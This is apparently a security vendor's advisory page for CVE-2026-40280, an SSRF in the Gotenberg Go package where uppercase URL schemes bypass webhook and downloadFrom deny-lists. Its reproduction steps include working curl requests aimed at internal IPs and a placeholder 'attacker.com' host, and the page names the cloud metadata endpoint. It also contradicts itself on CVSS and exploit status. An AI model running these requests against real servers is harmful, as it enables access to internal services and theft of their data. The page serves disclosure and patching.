How severe is CVE-2026-40280?

No CVSS score has been assigned to CVE-2026-40280 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-40280?

CVE-2026-40280 affects the following packages: github.com/gotenberg/gotenberg/v8 (Go). Ecosystems affected: Go.

How do I fix CVE-2026-40280?

Update github.com/gotenberg/gotenberg/v8 to 8.31.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-40280 is resolved across your whole dependency graph.

How do I detect CVE-2026-40280 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-40280 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2026-40280?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-40280 can be triaged on real exposure rather than presence alone.

Is CVE-2026-40280 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-40280 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-40280?

CVE-2026-40280 has an EPSS (Exploit Prediction Scoring System) score of 1.9%, placing it in the 79th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-40280?

CVE-2026-40280 is classified as Server-Side Request Forgery (SSRF) (CWE-918). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

Is there exploit tooling available for CVE-2026-40280?

A Nuclei detection template exists for CVE-2026-40280, meaning automated scanners can fingerprint it. Public exploit tooling significantly increases real-world risk — prioritize patching and ensure detection coverage. Exploit tooling should only ever be used in isolated, authorized testing environments.

When was CVE-2026-40280 published, and has it been updated?

CVE-2026-40280 was published on May 5, 2026 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

Not in CISA KEV

CVE-2026-40280 — v8

Fix: gotenberg/gotenberg@3f01ca1

CVE-2026-40280 is a Server-Side Request Forgery (SSRF) vulnerability in github.com/gotenberg/gotenberg/v8. A fix is available for github.com/gotenberg/gotenberg/v8 — see the affected versions and patch details below.

Gotenberg SSRF via case-insensitive URL scheme bypass in webhook and downloadFrom deny-lists

Also known asGHSA-5q7p-7jgv-ww56GO-2026-5151

Published

May 5, 2026

Updated

Aug 12, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40280.

EPSS Exploitation Probability

via FIRST.org ↗

1.9%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs79th percentile — riskier than 79% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

🐹github.com/gotenberg/gotenberg/v8

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Vulnerability Details

CWE: CWE-918 - Server-Side Request Forgery (SSRF)

The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally. Affected: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42, pkg/modules/api/api.go:199. Confirmed in Docker: http://172.17.0.1:12345/ returns HTTP 403 (blocked), HTTP://172.17.0.1:12345/ returns HTTP 202 (bypassed, TCP connection attempted). Same pattern as CVE-2026-27018/GHSA-jjwv-57xh-xr6r but in newly added webhook+downloadFrom deny-lists (commit 3f01ca1, 2026-04-07). Affected versions: <= 8.30.1. CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N = 9.1.

Summary

The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally.

The same bypass (case-insensitive scheme) was previously reported for the Chromium deny-list in CVE-2026-27018 (GHSA-jjwv-57xh-xr6r), but the newly added deny-lists for webhook and downloadFrom contain the identical flaw.

Affected file/function: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42 (default regex), pkg/modules/api/api.go:199 (default regex)

Steps to Reproduce

1. Start Gotenberg:
   docker run --rm -d -p 3001:3000 --name gotenberg-test gotenberg/gotenberg:8

2. Baseline — lowercase http:// is blocked (HTTP 403):
   curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
     -H "Gotenberg-Webhook-Url: http://172.17.0.1:12345/callback" \
     -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
     -F "url=https://example.com/"

3. Bypass — uppercase HTTP:// bypasses deny-list (HTTP 202, connection attempted):
   curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
     -H "Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback" \
     -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
     -F "url=https://example.com/"
   # Returns 202 + Gotenberg logs: "Post \"http://172.17.0.1:12345/callback\": connection refused"

4. downloadFrom bypass (response content included in PDF):
   curl -s -w "\nHTTP %{http_code}" http://localhost:3001/forms/chromium/convert/html \
     -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
     -F 'downloadFrom=[{"url":"HTTP://172.17.0.1:12345/secret.html"}]' <<< '<html><body>test</body></html>'
   # Error is "Unable to download file" (connection refused), not "filter URL" — bypass confirmed

Impact

An unauthenticated attacker can access internal network services (private IP ranges, loopback, link-local) that the deny-list was designed to block. The downloadFrom SSRF can exfiltrate content from internal services that respond with Content-Disposition headers. In cloud environments, this could allow access to instance metadata services (e.g., HTTP://169.254.169.254/latest/meta-data/). This bypasses the same security control that was patched in CVE-2026-27018.

Fix

Normalize the URL scheme to lowercase before passing to FilterDeadline, or compile deny-list regexes with the case-insensitive flag ((?i)).

Vulnerable Code

// See description for details

Steps to Reproduce

Set up the application using the default configuration
See the vulnerability details above

Impact

This vulnerability may allow an attacker to compromise the application.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/gotenberg/gotenberg/v8`	all versions	8.31.0`go get github.com/gotenberg/gotenberg/v8@v8.31.0`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/gotenberg/gotenberg/v8 to 8.31.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-40280 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-40280 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-40280. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

How to detect CVE-2026-40280

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id cve-2026-40280 -u https://target

Template: Gotenberg <= 8.30.1 - Server Side Request Forgery
Severity: critical
Impact: Unauthenticated SSRF via the downloadFrom feature allows reaching internal services, cloud metadata endpoints, and loopback addresses from the Gotenberg server.
Remediation: This bypasses the same security control that was patched in CVE-2026-27018. This issue has been fixed in version 8.31.0.

Template by ProjectDiscovery nuclei-templates (str4k3r), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

## Vulnerability Details **CWE**: CWE-918 - Server-Side Request Forgery (SSRF) The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally. Affected: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42, pkg/modules/api/api.go:199. Confirmed in Docker: http://172.17.0.1:12345/ returns

O3 Security · Impact-Aware SCA

Is CVE-2026-40280 in your dependencies?

O3 Security finds CVE-2026-40280 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works

CVE-2026-40280 — v8

Exploitation Status

Proof-of-concept exploit code exists

EPSS Exploitation Probability

Real-World Exposure

Description

Vulnerability Details

Summary

Steps to Reproduce

Impact

Fix

Vulnerable Code

Steps to Reproduce

Impact

Affected Packages

Detection & mitigation playbook

Detect

Fix

Workarounds

How O3 protects you

How to detect CVE-2026-40280

Frequently Asked Questions

Is CVE-2026-40280 in your dependencies?